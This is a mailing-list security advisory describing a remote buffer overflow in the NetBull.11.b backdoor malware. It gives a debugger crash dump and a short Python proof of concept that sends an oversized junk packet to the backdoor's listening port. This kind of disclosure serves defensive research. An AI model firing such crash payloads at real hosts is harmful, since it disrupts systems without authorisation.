Date: Tue, 2 Feb 2021 22:01:26 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.NetBull.11.b / Remote Buffer Overflow

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/0e0fc966862971c29edd4dcaa0ba8e86.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NetBull.11.b
Vulnerability: Remote Buffer Overflow
Description: NetBull.11.b listens on both TCP ports 23456 and 23457,
sending a large junk packet results in buffer overflow overwriting
stack registers.
Type: PE32
MD5: 0e0fc966862971c29edd4dcaa0ba8e86
Vuln ID: MVID-2021-0066
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 02/02/2021

Memory Dump:
The stored exception information can be accessed via .ecxr.
(60.13dc): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=2e7a4010 edx=41414140 esi=00000003 edi=00000003
eip=773ced3c esp=0019ef84 ebp=0019f114 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
773ced3c c21400          ret     14h


0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************


FAULTING_IP:
mfc42!CString::CString+5
6fb385d5 8901            mov     dword ptr [ecx],eax

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 6fb385d5 (mfc42!CString::CString+0x00000005)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 2e7a4010
Attempt to write to address 2e7a4010

PROCESS_NAME:  Backdoor.Win32.NetBull.11.b.0e0fc966862971c29edd4dcaa0ba8e86.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p
referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  2e7a4010

WRITE_ADDRESS:  2e7a4010

FOLLOWUP_IP:
mfc42!CString::CString+5
6fb385d5 8901            mov     dword ptr [ecx],eax

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  000013dc

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_READ_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff

PRIMARY_PROBLEM_CLASS:  INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_ffffffff

DEFAULT_BUCKET_ID:  INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_ffffffff

LAST_CONTROL_TRANSFER:  from 00405095 to 6fb385d5

STACK_TEXT:
0019f8c0 00405095 2e7a4000 2e7a4000 0019f8ec mfc42!CString::CString+0x5
WARNING: Stack unwind information not available. Following frames may be wrong.
0019f8d8 0040503b 041e50ec 41414141 0019f9bc
Backdoor_Win32_NetBull_11_b_0e0fc966862971c29edd4dcaa0ba8e86+0x5095
0019f8f4 00404548 2e7a4000 2e7a4000 00000001
Backdoor_Win32_NetBull_11_b_0e0fc966862971c29edd4dcaa0ba8e86+0x503b
00000000 00000000 00000000 00000000 00000000
Backdoor_Win32_NetBull_11_b_0e0fc966862971c29edd4dcaa0ba8e86+0x4548


STACK_COMMAND:  ~0s; .ecxr ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  mfc42!CString::CString+5

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: mfc42

IMAGE_NAME:  mfc42.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  d94bc78

FAILURE_BUCKET_ID:
INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_ffffffff_c0000005_mfc42.dll!CString::CString

BUCKET_ID:  APPLICATION_FAULT_INVALID_POINTER_READ_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff_mfc42!CString::CString+5


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=23456

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    PACKOLA = "A"*666
    s.send(PACKOLA)
    s.close()

    print("Backdoor.Win32.NetBull.11.b / Remote Buffer Overflow");
    print("MD5: 0e0fc966862971c29edd4dcaa0ba8e86");
    print("By Malvuln");

if __name__=="__main__":
    doit()


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advisory, provided that it is not altered except by reformatting it,
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insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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